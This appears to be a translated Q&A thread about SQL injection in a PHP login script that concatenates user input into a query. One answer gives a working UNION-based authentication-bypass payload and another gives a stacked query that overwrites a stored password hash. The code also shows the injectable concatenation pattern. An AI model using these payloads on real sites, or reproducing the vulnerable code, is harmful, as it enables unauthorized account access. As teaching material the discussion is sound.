sql注入更改返回值

Question

我最近想过这样的事情：

$sql = "SELECT password FROM users WHERE user = '" . $_POST["user"] . "'";
$result = mysql_query($sql);

if (myql_num_rows($result) != 1) {
//Error
}

$data = mysql_fetch_array($result);

if ($data["password"] == md5($_POST["password"])) {
//Welcome
} else {
//Error
}

即使没有使用参数化查询或至少转义，我也想不到一个适当的sql注入，你可以通过它注入Welcome点。 您可能需要修改返回的密码，其md5值可以用作密码。

任何想法，如果这是可能的？

Answer 1

对用户使用以下值：

obviouslyinvalidusername' union select MD5('password123') as password --

然后密码password123应该进行身份验证。 我不知道此时您将登录哪个用户帐户，因为该部分逻辑未显示。

Answer 2

"'; UPDATE user SET password=MD5('fakepass') where username='username'"

这会将任意密码作为md5哈希插入数据库。